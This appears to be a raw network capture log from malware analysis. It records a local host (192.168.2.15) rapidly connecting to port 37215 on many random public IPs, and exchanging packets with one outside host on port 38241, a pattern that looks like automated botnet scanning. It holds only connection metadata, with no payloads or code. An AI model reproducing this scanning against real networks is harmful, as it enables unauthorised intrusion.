Jul 26, 2024 17:42:01.869374037 CEST	37816	37215	192.168.2.15	197.12.225.63
Jul 26, 2024 17:42:01.869374037 CEST	44616	37215	192.168.2.15	149.76.30.6
Jul 26, 2024 17:42:01.869374990 CEST	55412	37215	192.168.2.15	157.144.55.235
Jul 26, 2024 17:42:01.869389057 CEST	36994	37215	192.168.2.15	158.129.148.234
Jul 26, 2024 17:42:01.869389057 CEST	53240	37215	192.168.2.15	197.1.219.105
Jul 26, 2024 17:42:01.869399071 CEST	48610	37215	192.168.2.15	197.96.107.38
Jul 26, 2024 17:42:01.869400024 CEST	48270	37215	192.168.2.15	157.160.10.123
Jul 26, 2024 17:42:01.869415045 CEST	57736	37215	192.168.2.15	157.10.215.35
Jul 26, 2024 17:42:01.869416952 CEST	36858	37215	192.168.2.15	197.112.4.97
Jul 26, 2024 17:42:01.869416952 CEST	41604	37215	192.168.2.15	41.160.9.226
Jul 26, 2024 17:42:01.869416952 CEST	52838	37215	192.168.2.15	41.232.167.103
Jul 26, 2024 17:42:01.869416952 CEST	39182	37215	192.168.2.15	197.32.97.173
Jul 26, 2024 17:42:01.869416952 CEST	57192	37215	192.168.2.15	217.255.162.157
Jul 26, 2024 17:42:01.869447947 CEST	45270	37215	192.168.2.15	197.54.40.22
Jul 26, 2024 17:42:01.869447947 CEST	51760	37215	192.168.2.15	192.17.125.10
Jul 26, 2024 17:42:01.869452953 CEST	41060	37215	192.168.2.15	157.205.139.180
Jul 26, 2024 17:42:01.869452953 CEST	58488	37215	192.168.2.15	197.47.175.40
Jul 26, 2024 17:42:01.869456053 CEST	42566	37215	192.168.2.15	211.23.96.64
Jul 26, 2024 17:42:01.869458914 CEST	35580	37215	192.168.2.15	41.119.153.117
Jul 26, 2024 17:42:01.869458914 CEST	56730	37215	192.168.2.15	197.142.153.220
Jul 26, 2024 17:42:01.869460106 CEST	50244	37215	192.168.2.15	102.56.88.186
Jul 26, 2024 17:42:01.869460106 CEST	51934	37215	192.168.2.15	23.147.182.187
Jul 26, 2024 17:42:01.869471073 CEST	53646	37215	192.168.2.15	24.231.168.41
Jul 26, 2024 17:42:01.869478941 CEST	43790	37215	192.168.2.15	41.11.65.133
Jul 26, 2024 17:42:01.869481087 CEST	42956	37215	192.168.2.15	157.31.97.126
Jul 26, 2024 17:42:01.869481087 CEST	59738	37215	192.168.2.15	157.60.145.81
Jul 26, 2024 17:42:01.869481087 CEST	47498	37215	192.168.2.15	197.39.222.54
Jul 26, 2024 17:42:01.869483948 CEST	49132	37215	192.168.2.15	157.6.72.247
Jul 26, 2024 17:42:01.869483948 CEST	39470	37215	192.168.2.15	157.94.112.33
Jul 26, 2024 17:42:01.869483948 CEST	50154	37215	192.168.2.15	41.116.64.233
Jul 26, 2024 17:42:01.869493961 CEST	45838	37215	192.168.2.15	197.230.227.35
Jul 26, 2024 17:42:01.869497061 CEST	45118	37215	192.168.2.15	157.94.4.152
Jul 26, 2024 17:42:01.869497061 CEST	35146	37215	192.168.2.15	192.123.227.88
Jul 26, 2024 17:42:01.869498968 CEST	54740	37215	192.168.2.15	48.151.70.89
Jul 26, 2024 17:42:01.869514942 CEST	51144	37215	192.168.2.15	41.208.106.86
Jul 26, 2024 17:42:01.869515896 CEST	58670	37215	192.168.2.15	157.198.230.178
Jul 26, 2024 17:42:01.869530916 CEST	48602	37215	192.168.2.15	41.102.255.32
Jul 26, 2024 17:42:01.869533062 CEST	50678	37215	192.168.2.15	41.171.88.140
Jul 26, 2024 17:42:01.869535923 CEST	46624	37215	192.168.2.15	197.114.251.28
Jul 26, 2024 17:42:01.869535923 CEST	43642	37215	192.168.2.15	157.130.223.218
Jul 26, 2024 17:42:01.869545937 CEST	51376	37215	192.168.2.15	2.38.61.27
Jul 26, 2024 17:42:01.869545937 CEST	60020	37215	192.168.2.15	163.157.201.25
Jul 26, 2024 17:42:01.869549990 CEST	56274	37215	192.168.2.15	197.102.130.238
Jul 26, 2024 17:42:01.869569063 CEST	54552	37215	192.168.2.15	197.25.156.81
Jul 26, 2024 17:42:01.869571924 CEST	49120	37215	192.168.2.15	41.210.89.60
Jul 26, 2024 17:42:01.869571924 CEST	47378	37215	192.168.2.15	157.237.142.35
Jul 26, 2024 17:42:01.869571924 CEST	35720	37215	192.168.2.15	157.199.97.75
Jul 26, 2024 17:42:01.869580030 CEST	56208	37215	192.168.2.15	197.189.110.169
Jul 26, 2024 17:42:01.869602919 CEST	45156	37215	192.168.2.15	197.93.55.208
Jul 26, 2024 17:42:01.869602919 CEST	60700	37215	192.168.2.15	213.97.112.105
Jul 26, 2024 17:42:01.869602919 CEST	44838	37215	192.168.2.15	157.67.97.71
Jul 26, 2024 17:42:01.869604111 CEST	59276	37215	192.168.2.15	103.70.219.127
Jul 26, 2024 17:42:01.869604111 CEST	40810	37215	192.168.2.15	157.6.148.23
Jul 26, 2024 17:42:01.869617939 CEST	40324	37215	192.168.2.15	126.255.146.247
Jul 26, 2024 17:42:01.869621992 CEST	60956	37215	192.168.2.15	197.225.190.134
Jul 26, 2024 17:42:01.869621992 CEST	55948	37215	192.168.2.15	18.189.172.188
Jul 26, 2024 17:42:01.869632006 CEST	38850	37215	192.168.2.15	202.201.192.159
Jul 26, 2024 17:42:01.869632959 CEST	56174	37215	192.168.2.15	157.63.211.250
Jul 26, 2024 17:42:01.869632959 CEST	49070	37215	192.168.2.15	137.233.56.245
Jul 26, 2024 17:42:01.869632959 CEST	55986	37215	192.168.2.15	1.148.239.73
Jul 26, 2024 17:42:01.869637012 CEST	55404	37215	192.168.2.15	109.155.217.16
Jul 26, 2024 17:42:01.869638920 CEST	60380	37215	192.168.2.15	193.228.232.39
Jul 26, 2024 17:42:01.869647026 CEST	58528	37215	192.168.2.15	41.210.186.186
Jul 26, 2024 17:42:01.869649887 CEST	37412	37215	192.168.2.15	41.160.147.129
Jul 26, 2024 17:42:01.869649887 CEST	57910	37215	192.168.2.15	197.6.116.163
Jul 26, 2024 17:42:01.869649887 CEST	53334	37215	192.168.2.15	197.151.238.8
Jul 26, 2024 17:42:01.869649887 CEST	53312	37215	192.168.2.15	112.234.47.50
Jul 26, 2024 17:42:01.869649887 CEST	40738	37215	192.168.2.15	157.160.227.147
Jul 26, 2024 17:42:01.869668007 CEST	49782	37215	192.168.2.15	197.134.35.140
Jul 26, 2024 17:42:01.869668007 CEST	39856	37215	192.168.2.15	157.87.177.118
Jul 26, 2024 17:42:01.869668007 CEST	57654	37215	192.168.2.15	41.73.141.211
Jul 26, 2024 17:42:01.869668007 CEST	34104	37215	192.168.2.15	78.13.212.84
Jul 26, 2024 17:42:01.869684935 CEST	49308	37215	192.168.2.15	41.91.212.97
Jul 26, 2024 17:42:01.869685888 CEST	55052	37215	192.168.2.15	197.157.241.85
Jul 26, 2024 17:42:01.869685888 CEST	35256	37215	192.168.2.15	23.114.18.67
Jul 26, 2024 17:42:01.869687080 CEST	50666	37215	192.168.2.15	41.98.163.146
Jul 26, 2024 17:42:01.869697094 CEST	38512	37215	192.168.2.15	157.35.116.97
Jul 26, 2024 17:42:01.869699955 CEST	37064	37215	192.168.2.15	41.64.35.71
Jul 26, 2024 17:42:01.869726896 CEST	39180	37215	192.168.2.15	41.58.129.177
Jul 26, 2024 17:42:01.869726896 CEST	56226	37215	192.168.2.15	41.83.232.96
Jul 26, 2024 17:42:01.869728088 CEST	60478	37215	192.168.2.15	41.229.153.155
Jul 26, 2024 17:42:01.869728088 CEST	60884	37215	192.168.2.15	197.132.136.99
Jul 26, 2024 17:42:01.869730949 CEST	47750	37215	192.168.2.15	106.205.211.61
Jul 26, 2024 17:42:01.869738102 CEST	33476	37215	192.168.2.15	157.20.180.36
Jul 26, 2024 17:42:01.869740009 CEST	59606	37215	192.168.2.15	41.55.10.170
Jul 26, 2024 17:42:01.869740009 CEST	43328	37215	192.168.2.15	197.98.34.184
Jul 26, 2024 17:42:01.869800091 CEST	34962	37215	192.168.2.15	157.146.55.247
Jul 26, 2024 17:42:01.870374918 CEST	40758	37215	192.168.2.15	41.179.100.167
Jul 26, 2024 17:42:01.871424913 CEST	37215	35326	157.196.46.101	192.168.2.15
Jul 26, 2024 17:42:01.871522903 CEST	35326	37215	192.168.2.15	157.196.46.101
Jul 26, 2024 17:42:01.872375011 CEST	37215	53840	41.246.125.122	192.168.2.15
Jul 26, 2024 17:42:01.872385025 CEST	37215	45884	157.19.62.113	192.168.2.15
Jul 26, 2024 17:42:01.872617960 CEST	51200	37215	192.168.2.15	197.119.249.158
Jul 26, 2024 17:42:01.872622013 CEST	37215	44406	184.188.4.253	192.168.2.15
Jul 26, 2024 17:42:01.872632980 CEST	37215	56802	41.103.19.122	192.168.2.15
Jul 26, 2024 17:42:01.872817993 CEST	37215	50724	41.254.241.72	192.168.2.15
Jul 26, 2024 17:42:01.872855902 CEST	37215	57540	197.79.237.252	192.168.2.15
Jul 26, 2024 17:42:01.873557091 CEST	37215	48976	157.157.132.237	192.168.2.15
Jul 26, 2024 17:42:01.873568058 CEST	37215	33114	197.30.1.118	192.168.2.15
Jul 26, 2024 17:42:01.873575926 CEST	37215	40700	157.53.239.53	192.168.2.15
Jul 26, 2024 17:42:01.873584032 CEST	37215	42330	197.197.180.14	192.168.2.15
Jul 26, 2024 17:42:01.873590946 CEST	37215	51590	157.0.130.246	192.168.2.15
Jul 26, 2024 17:42:01.873600006 CEST	37215	37716	41.234.183.150	192.168.2.15
Jul 26, 2024 17:42:01.873610020 CEST	37215	39876	207.108.14.112	192.168.2.15
Jul 26, 2024 17:42:01.873616934 CEST	37215	47718	197.167.160.236	192.168.2.15
Jul 26, 2024 17:42:01.873625994 CEST	37215	49866	157.227.157.81	192.168.2.15
Jul 26, 2024 17:42:01.873635054 CEST	37215	37370	197.194.216.242	192.168.2.15
Jul 26, 2024 17:42:01.873691082 CEST	37215	37094	197.255.12.216	192.168.2.15
Jul 26, 2024 17:42:01.873701096 CEST	37215	39172	197.78.44.191	192.168.2.15
Jul 26, 2024 17:42:01.874048948 CEST	37215	38494	157.240.175.32	192.168.2.15
Jul 26, 2024 17:42:01.874058962 CEST	37215	38516	157.134.10.99	192.168.2.15
Jul 26, 2024 17:42:01.874181032 CEST	37215	48448	61.22.190.108	192.168.2.15
Jul 26, 2024 17:42:01.874191046 CEST	37215	37242	41.143.15.18	192.168.2.15
Jul 26, 2024 17:42:01.874227047 CEST	37215	43240	157.99.99.134	192.168.2.15
Jul 26, 2024 17:42:01.874236107 CEST	37215	59960	197.180.65.41	192.168.2.15
Jul 26, 2024 17:42:01.874286890 CEST	37215	55412	157.144.55.235	192.168.2.15
Jul 26, 2024 17:42:01.874299049 CEST	37215	60248	197.116.207.198	192.168.2.15
Jul 26, 2024 17:42:01.874346018 CEST	37215	45972	41.113.87.213	192.168.2.15
Jul 26, 2024 17:42:01.874355078 CEST	37215	55860	41.167.142.160	192.168.2.15
Jul 26, 2024 17:42:01.874392986 CEST	37215	35202	197.174.75.69	192.168.2.15
Jul 26, 2024 17:42:01.874403000 CEST	37215	51354	197.136.189.68	192.168.2.15
Jul 26, 2024 17:42:01.874439955 CEST	37215	59772	41.190.82.104	192.168.2.15
Jul 26, 2024 17:42:01.874449968 CEST	37215	51484	197.130.107.44	192.168.2.15
Jul 26, 2024 17:42:01.874495983 CEST	37215	50092	197.113.28.145	192.168.2.15
Jul 26, 2024 17:42:01.874545097 CEST	37215	37812	157.194.249.71	192.168.2.15
Jul 26, 2024 17:42:01.874660015 CEST	37215	46172	41.234.173.92	192.168.2.15
Jul 26, 2024 17:42:01.874670029 CEST	37215	47726	157.131.83.80	192.168.2.15
Jul 26, 2024 17:42:01.874725103 CEST	37215	54202	197.76.235.85	192.168.2.15
Jul 26, 2024 17:42:01.874756098 CEST	37215	46688	197.43.30.179	192.168.2.15
Jul 26, 2024 17:42:01.874763012 CEST	54124	37215	192.168.2.15	18.103.70.31
Jul 26, 2024 17:42:01.874845028 CEST	37215	38984	157.253.160.68	192.168.2.15
Jul 26, 2024 17:42:01.874856949 CEST	37215	49092	211.6.214.175	192.168.2.15
Jul 26, 2024 17:42:01.875056028 CEST	37215	37816	197.12.225.63	192.168.2.15
Jul 26, 2024 17:42:01.875066042 CEST	37215	44616	149.76.30.6	192.168.2.15
Jul 26, 2024 17:42:01.875277042 CEST	37215	36994	158.129.148.234	192.168.2.15
Jul 26, 2024 17:42:01.875287056 CEST	37215	53240	197.1.219.105	192.168.2.15
Jul 26, 2024 17:42:01.875423908 CEST	37215	36858	197.112.4.97	192.168.2.15
Jul 26, 2024 17:42:01.875433922 CEST	37215	48610	197.96.107.38	192.168.2.15
Jul 26, 2024 17:42:01.875459909 CEST	37215	48270	157.160.10.123	192.168.2.15
Jul 26, 2024 17:42:01.875525951 CEST	37215	41604	41.160.9.226	192.168.2.15
Jul 26, 2024 17:42:01.875663996 CEST	37215	52838	41.232.167.103	192.168.2.15
Jul 26, 2024 17:42:01.875683069 CEST	37215	39182	197.32.97.173	192.168.2.15
Jul 26, 2024 17:42:01.875734091 CEST	37215	57192	217.255.162.157	192.168.2.15
Jul 26, 2024 17:42:01.875742912 CEST	37215	35580	41.119.153.117	192.168.2.15
Jul 26, 2024 17:42:01.875829935 CEST	37215	42566	211.23.96.64	192.168.2.15
Jul 26, 2024 17:42:01.875839949 CEST	37215	50244	102.56.88.186	192.168.2.15
Jul 26, 2024 17:42:01.875932932 CEST	37215	57736	157.10.215.35	192.168.2.15
Jul 26, 2024 17:42:01.875950098 CEST	37215	45270	197.54.40.22	192.168.2.15
Jul 26, 2024 17:42:01.876096010 CEST	37215	49132	157.6.72.247	192.168.2.15
Jul 26, 2024 17:42:01.876106024 CEST	37215	41060	157.205.139.180	192.168.2.15
Jul 26, 2024 17:42:01.876113892 CEST	37215	59738	157.60.145.81	192.168.2.15
Jul 26, 2024 17:42:01.876122952 CEST	37215	51760	192.17.125.10	192.168.2.15
Jul 26, 2024 17:42:01.876174927 CEST	37215	51934	23.147.182.187	192.168.2.15
Jul 26, 2024 17:42:01.876184940 CEST	37215	56730	197.142.153.220	192.168.2.15
Jul 26, 2024 17:42:01.876275063 CEST	37215	58488	197.47.175.40	192.168.2.15
Jul 26, 2024 17:42:01.876292944 CEST	37215	43790	41.11.65.133	192.168.2.15
Jul 26, 2024 17:42:01.876406908 CEST	37215	42956	157.31.97.126	192.168.2.15
Jul 26, 2024 17:42:01.876416922 CEST	37215	47498	197.39.222.54	192.168.2.15
Jul 26, 2024 17:42:01.876660109 CEST	37215	53646	24.231.168.41	192.168.2.15
Jul 26, 2024 17:42:01.876678944 CEST	37215	45838	197.230.227.35	192.168.2.15
Jul 26, 2024 17:42:01.876703978 CEST	52598	37215	192.168.2.15	173.34.24.153
Jul 26, 2024 17:42:01.876735926 CEST	37215	39470	157.94.112.33	192.168.2.15
Jul 26, 2024 17:42:01.876746893 CEST	37215	50154	41.116.64.233	192.168.2.15
Jul 26, 2024 17:42:01.876817942 CEST	37215	45118	157.94.4.152	192.168.2.15
Jul 26, 2024 17:42:01.876827955 CEST	37215	51144	41.208.106.86	192.168.2.15
Jul 26, 2024 17:42:01.876878977 CEST	37215	54740	48.151.70.89	192.168.2.15
Jul 26, 2024 17:42:01.876888037 CEST	37215	35146	192.123.227.88	192.168.2.15
Jul 26, 2024 17:42:01.876934052 CEST	37215	58670	157.198.230.178	192.168.2.15
Jul 26, 2024 17:42:01.876944065 CEST	37215	43642	157.130.223.218	192.168.2.15
Jul 26, 2024 17:42:01.877054930 CEST	37215	46624	197.114.251.28	192.168.2.15
Jul 26, 2024 17:42:01.877105951 CEST	37215	51376	2.38.61.27	192.168.2.15
Jul 26, 2024 17:42:01.877188921 CEST	37215	48602	41.102.255.32	192.168.2.15
Jul 26, 2024 17:42:01.877475977 CEST	37215	56274	197.102.130.238	192.168.2.15
Jul 26, 2024 17:42:01.877552032 CEST	37215	50678	41.171.88.140	192.168.2.15
Jul 26, 2024 17:42:01.877561092 CEST	37215	54552	197.25.156.81	192.168.2.15
Jul 26, 2024 17:42:01.877662897 CEST	37215	59276	103.70.219.127	192.168.2.15
Jul 26, 2024 17:42:01.877672911 CEST	37215	60020	163.157.201.25	192.168.2.15
Jul 26, 2024 17:42:01.877906084 CEST	37215	37412	41.160.147.129	192.168.2.15
Jul 26, 2024 17:42:01.877916098 CEST	37215	49120	41.210.89.60	192.168.2.15
Jul 26, 2024 17:42:01.878138065 CEST	37215	56174	157.63.211.250	192.168.2.15
Jul 26, 2024 17:42:01.878148079 CEST	37215	47378	157.237.142.35	192.168.2.15
Jul 26, 2024 17:42:01.878283024 CEST	37215	35720	157.199.97.75	192.168.2.15
Jul 26, 2024 17:42:01.878328085 CEST	37215	60956	197.225.190.134	192.168.2.15
Jul 26, 2024 17:42:01.878556967 CEST	55460	37215	192.168.2.15	218.12.181.11
Jul 26, 2024 17:42:01.878643036 CEST	37215	45156	197.93.55.208	192.168.2.15
Jul 26, 2024 17:42:01.878664017 CEST	37215	56208	197.189.110.169	192.168.2.15
Jul 26, 2024 17:42:01.878984928 CEST	37215	60700	213.97.112.105	192.168.2.15
Jul 26, 2024 17:42:01.879065037 CEST	37215	57910	197.6.116.163	192.168.2.15
Jul 26, 2024 17:42:01.879175901 CEST	37215	53334	197.151.238.8	192.168.2.15
Jul 26, 2024 17:42:01.879185915 CEST	37215	53312	112.234.47.50	192.168.2.15
Jul 26, 2024 17:42:01.879427910 CEST	37215	40324	126.255.146.247	192.168.2.15
Jul 26, 2024 17:42:01.879537106 CEST	37215	44838	157.67.97.71	192.168.2.15
Jul 26, 2024 17:42:01.879647970 CEST	37215	55948	18.189.172.188	192.168.2.15
Jul 26, 2024 17:42:01.879657030 CEST	37215	40810	157.6.148.23	192.168.2.15
Jul 26, 2024 17:42:01.879803896 CEST	37215	40738	157.160.227.147	192.168.2.15
Jul 26, 2024 17:42:01.879812956 CEST	37215	38850	202.201.192.159	192.168.2.15
Jul 26, 2024 17:42:01.879883051 CEST	37215	55404	109.155.217.16	192.168.2.15
Jul 26, 2024 17:42:01.879889965 CEST	37215	60380	193.228.232.39	192.168.2.15
Jul 26, 2024 17:42:01.879986048 CEST	37215	58528	41.210.186.186	192.168.2.15
Jul 26, 2024 17:42:01.880029917 CEST	37215	49070	137.233.56.245	192.168.2.15
Jul 26, 2024 17:42:01.880065918 CEST	37215	55986	1.148.239.73	192.168.2.15
Jul 26, 2024 17:42:01.880152941 CEST	37215	39856	157.87.177.118	192.168.2.15
Jul 26, 2024 17:42:01.880161047 CEST	37215	50666	41.98.163.146	192.168.2.15
Jul 26, 2024 17:42:01.880172014 CEST	37215	55052	197.157.241.85	192.168.2.15
Jul 26, 2024 17:42:01.880347967 CEST	37215	57654	41.73.141.211	192.168.2.15
Jul 26, 2024 17:42:01.880357027 CEST	37215	35256	23.114.18.67	192.168.2.15
Jul 26, 2024 17:42:01.880556107 CEST	37215	49782	197.134.35.140	192.168.2.15
Jul 26, 2024 17:42:01.880564928 CEST	37215	34104	78.13.212.84	192.168.2.15
Jul 26, 2024 17:42:01.880650043 CEST	37215	49308	41.91.212.97	192.168.2.15
Jul 26, 2024 17:42:01.880657911 CEST	37215	37064	41.64.35.71	192.168.2.15
Jul 26, 2024 17:42:01.880692005 CEST	37215	38512	157.35.116.97	192.168.2.15
Jul 26, 2024 17:42:01.880750895 CEST	37215	47750	106.205.211.61	192.168.2.15
Jul 26, 2024 17:42:01.880834103 CEST	37215	60478	41.229.153.155	192.168.2.15
Jul 26, 2024 17:42:01.880841970 CEST	37215	60884	197.132.136.99	192.168.2.15
Jul 26, 2024 17:42:01.880856037 CEST	37215	56226	41.83.232.96	192.168.2.15
Jul 26, 2024 17:42:01.880862951 CEST	37215	33476	157.20.180.36	192.168.2.15
Jul 26, 2024 17:42:01.880912066 CEST	37215	39180	41.58.129.177	192.168.2.15
Jul 26, 2024 17:42:01.880956888 CEST	37215	43328	197.98.34.184	192.168.2.15
Jul 26, 2024 17:42:01.881141901 CEST	37215	59606	41.55.10.170	192.168.2.15
Jul 26, 2024 17:42:01.881216049 CEST	37215	34962	157.146.55.247	192.168.2.15
Jul 26, 2024 17:42:01.883341074 CEST	52438	37215	192.168.2.15	41.150.32.89
Jul 26, 2024 17:42:01.883662939 CEST	37215	40758	41.179.100.167	192.168.2.15
Jul 26, 2024 17:42:01.883738041 CEST	40758	37215	192.168.2.15	41.179.100.167
Jul 26, 2024 17:42:01.884617090 CEST	37215	51200	197.119.249.158	192.168.2.15
Jul 26, 2024 17:42:01.884654999 CEST	51200	37215	192.168.2.15	197.119.249.158
Jul 26, 2024 17:42:01.884665012 CEST	37215	54124	18.103.70.31	192.168.2.15
Jul 26, 2024 17:42:01.884707928 CEST	54124	37215	192.168.2.15	18.103.70.31
Jul 26, 2024 17:42:01.884738922 CEST	37215	52598	173.34.24.153	192.168.2.15
Jul 26, 2024 17:42:01.884779930 CEST	37215	55460	218.12.181.11	192.168.2.15
Jul 26, 2024 17:42:01.884829044 CEST	38241	46390	94.156.71.55	192.168.2.15
Jul 26, 2024 17:42:01.884918928 CEST	55460	37215	192.168.2.15	218.12.181.11
Jul 26, 2024 17:42:01.884927988 CEST	52598	37215	192.168.2.15	173.34.24.153
Jul 26, 2024 17:42:01.884998083 CEST	46390	38241	192.168.2.15	94.156.71.55
Jul 26, 2024 17:42:01.886285067 CEST	52368	37215	192.168.2.15	197.159.70.12
Jul 26, 2024 17:42:01.887820005 CEST	56024	37215	192.168.2.15	52.4.140.64
Jul 26, 2024 17:42:01.888595104 CEST	37215	52438	41.150.32.89	192.168.2.15
Jul 26, 2024 17:42:01.888628006 CEST	52438	37215	192.168.2.15	41.150.32.89
Jul 26, 2024 17:42:01.889231920 CEST	43150	37215	192.168.2.15	14.64.173.32
Jul 26, 2024 17:42:01.891454935 CEST	33256	37215	192.168.2.15	157.122.19.30
Jul 26, 2024 17:42:01.892425060 CEST	38241	46390	94.156.71.55	192.168.2.15
Jul 26, 2024 17:42:01.892766953 CEST	37215	52368	197.159.70.12	192.168.2.15
Jul 26, 2024 17:42:01.893008947 CEST	52368	37215	192.168.2.15	197.159.70.12
Jul 26, 2024 17:42:01.893686056 CEST	37215	56024	52.4.140.64	192.168.2.15
Jul 26, 2024 17:42:01.893722057 CEST	56024	37215	192.168.2.15	52.4.140.64
Jul 26, 2024 17:42:01.894126892 CEST	37215	43150	14.64.173.32	192.168.2.15
Jul 26, 2024 17:42:01.894180059 CEST	43150	37215	192.168.2.15	14.64.173.32
Jul 26, 2024 17:42:01.894756079 CEST	59600	37215	192.168.2.15	197.202.26.77
Jul 26, 2024 17:42:01.896363020 CEST	37602	37215	192.168.2.15	219.209.44.35
Jul 26, 2024 17:42:01.897850037 CEST	59548	37215	192.168.2.15	41.134.228.22
Jul 26, 2024 17:42:01.899389029 CEST	56580	37215	192.168.2.15	157.14.17.185
Jul 26, 2024 17:42:01.901328087 CEST	57460	37215	192.168.2.15	197.146.215.77
Jul 26, 2024 17:42:01.903199911 CEST	52340	37215	192.168.2.15	157.243.171.88
Jul 26, 2024 17:42:01.904871941 CEST	35352	37215	192.168.2.15	41.81.115.15
Jul 26, 2024 17:42:01.906352043 CEST	50558	37215	192.168.2.15	118.47.10.71
Jul 26, 2024 17:42:01.908278942 CEST	45464	37215	192.168.2.15	41.208.134.218
Jul 26, 2024 17:42:01.909463882 CEST	37215	33256	157.122.19.30	192.168.2.15
Jul 26, 2024 17:42:01.909511089 CEST	33256	37215	192.168.2.15	157.122.19.30
Jul 26, 2024 17:42:01.909919024 CEST	41528	37215	192.168.2.15	25.248.138.241
Jul 26, 2024 17:42:01.911058903 CEST	52368	37215	192.168.2.15	100.55.79.58
Jul 26, 2024 17:42:01.912580013 CEST	48798	37215	192.168.2.15	157.165.241.7
Jul 26, 2024 17:42:01.914390087 CEST	59572	37215	192.168.2.15	197.247.67.99
Jul 26, 2024 17:42:01.916991949 CEST	53276	37215	192.168.2.15	41.11.38.33
Jul 26, 2024 17:42:01.918948889 CEST	56840	37215	192.168.2.15	41.12.247.102
Jul 26, 2024 17:42:01.921725035 CEST	39034	37215	192.168.2.15	197.114.78.215
Jul 26, 2024 17:42:01.922034979 CEST	37215	59772	41.190.82.104	192.168.2.15
Jul 26, 2024 17:42:01.922041893 CEST	37215	35202	197.174.75.69	192.168.2.15
Jul 26, 2024 17:42:01.922049999 CEST	37215	51354	197.136.189.68	192.168.2.15
Jul 26, 2024 17:42:01.922058105 CEST	37215	55860	41.167.142.160	192.168.2.15
Jul 26, 2024 17:42:01.922066927 CEST	37215	50092	197.113.28.145	192.168.2.15
Jul 26, 2024 17:42:01.922075033 CEST	37215	51484	197.130.107.44	192.168.2.15
Jul 26, 2024 17:42:01.922081947 CEST	37215	33114	197.30.1.118	192.168.2.15
Jul 26, 2024 17:42:01.922090054 CEST	37215	48976	157.157.132.237	192.168.2.15
Jul 26, 2024 17:42:01.922106028 CEST	37215	45972	41.113.87.213	192.168.2.15
Jul 26, 2024 17:42:01.922115088 CEST	37215	60248	197.116.207.198	192.168.2.15
Jul 26, 2024 17:42:01.922121048 CEST	37215	38494	157.240.175.32	192.168.2.15
Jul 26, 2024 17:42:01.922127962 CEST	37215	43240	157.99.99.134	192.168.2.15
Jul 26, 2024 17:42:01.922135115 CEST	37215	59960	197.180.65.41	192.168.2.15
Jul 26, 2024 17:42:01.922142982 CEST	37215	37370	197.194.216.242	192.168.2.15
Jul 26, 2024 17:42:01.922149897 CEST	37215	48448	61.22.190.108	192.168.2.15
Jul 26, 2024 17:42:01.922158003 CEST	37215	38516	157.134.10.99	192.168.2.15
Jul 26, 2024 17:42:01.922166109 CEST	37215	47718	197.167.160.236	192.168.2.15
Jul 26, 2024 17:42:01.922168970 CEST	37215	37716	41.234.183.150	192.168.2.15
Jul 26, 2024 17:42:01.922175884 CEST	37215	49866	157.227.157.81	192.168.2.15
Jul 26, 2024 17:42:01.922183037 CEST	37215	39876	207.108.14.112	192.168.2.15
Jul 26, 2024 17:42:01.922189951 CEST	37215	51590	157.0.130.246	192.168.2.15
Jul 26, 2024 17:42:01.922197104 CEST	37215	42330	197.197.180.14	192.168.2.15
Jul 26, 2024 17:42:01.922204971 CEST	37215	40700	157.53.239.53	192.168.2.15
Jul 26, 2024 17:42:01.922213078 CEST	37215	57540	197.79.237.252	192.168.2.15
Jul 26, 2024 17:42:01.922219992 CEST	37215	50724	41.254.241.72	192.168.2.15
Jul 26, 2024 17:42:01.922226906 CEST	37215	44406	184.188.4.253	192.168.2.15
Jul 26, 2024 17:42:01.922230005 CEST	37215	56802	41.103.19.122	192.168.2.15
Jul 26, 2024 17:42:01.922236919 CEST	37215	45884	157.19.62.113	192.168.2.15
Jul 26, 2024 17:42:01.922246933 CEST	37215	53840	41.246.125.122	192.168.2.15
Jul 26, 2024 17:42:01.922511101 CEST	37215	59600	197.202.26.77	192.168.2.15
Jul 26, 2024 17:42:01.922549963 CEST	59600	37215	192.168.2.15	197.202.26.77
Jul 26, 2024 17:42:01.922564030 CEST	37215	37602	219.209.44.35	192.168.2.15
Jul 26, 2024 17:42:01.922596931 CEST	37602	37215	192.168.2.15	219.209.44.35
Jul 26, 2024 17:42:01.922610044 CEST	37215	59548	41.134.228.22	192.168.2.15
Jul 26, 2024 17:42:01.922682047 CEST	37215	56580	157.14.17.185	192.168.2.15
Jul 26, 2024 17:42:01.922812939 CEST	59548	37215	192.168.2.15	41.134.228.22
Jul 26, 2024 17:42:01.922813892 CEST	56580	37215	192.168.2.15	157.14.17.185
Jul 26, 2024 17:42:01.922976017 CEST	37215	57460	197.146.215.77	192.168.2.15
Jul 26, 2024 17:42:01.923013926 CEST	57460	37215	192.168.2.15	197.146.215.77
Jul 26, 2024 17:42:01.923906088 CEST	60618	37215	192.168.2.15	38.110.93.103
Jul 26, 2024 17:42:01.925355911 CEST	57270	37215	192.168.2.15	41.172.255.117
Jul 26, 2024 17:42:01.925663948 CEST	37215	52340	157.243.171.88	192.168.2.15
Jul 26, 2024 17:42:01.925704002 CEST	52340	37215	192.168.2.15	157.243.171.88
Jul 26, 2024 17:42:01.925965071 CEST	37215	35352	41.81.115.15	192.168.2.15
Jul 26, 2024 17:42:01.925997972 CEST	37215	50558	118.47.10.71	192.168.2.15
Jul 26, 2024 17:42:01.926018953 CEST	35352	37215	192.168.2.15	41.81.115.15
Jul 26, 2024 17:42:01.926040888 CEST	50558	37215	192.168.2.15	118.47.10.71
Jul 26, 2024 17:42:01.926358938 CEST	37215	45464	41.208.134.218	192.168.2.15
Jul 26, 2024 17:42:01.926383972 CEST	37215	41528	25.248.138.241	192.168.2.15
Jul 26, 2024 17:42:01.926409960 CEST	41528	37215	192.168.2.15	25.248.138.241
Jul 26, 2024 17:42:01.926434994 CEST	37215	52368	100.55.79.58	192.168.2.15
Jul 26, 2024 17:42:01.926479101 CEST	52368	37215	192.168.2.15	100.55.79.58
Jul 26, 2024 17:42:01.926479101 CEST	45464	37215	192.168.2.15	41.208.134.218
Jul 26, 2024 17:42:01.926784992 CEST	48372	37215	192.168.2.15	41.68.254.14
Jul 26, 2024 17:42:01.927798033 CEST	37074	37215	192.168.2.15	41.30.204.137
Jul 26, 2024 17:42:01.928734064 CEST	47232	37215	192.168.2.15	197.165.27.168
Jul 26, 2024 17:42:01.928797007 CEST	37215	48798	157.165.241.7	192.168.2.15
Jul 26, 2024 17:42:01.928838968 CEST	48798	37215	192.168.2.15	157.165.241.7
Jul 26, 2024 17:42:01.929886103 CEST	42424	37215	192.168.2.15	223.164.117.74
Jul 26, 2024 17:42:01.931272984 CEST	35734	37215	192.168.2.15	197.180.119.91
Jul 26, 2024 17:42:01.932152033 CEST	37215	59572	197.247.67.99	192.168.2.15
Jul 26, 2024 17:42:01.932219028 CEST	59572	37215	192.168.2.15	197.247.67.99
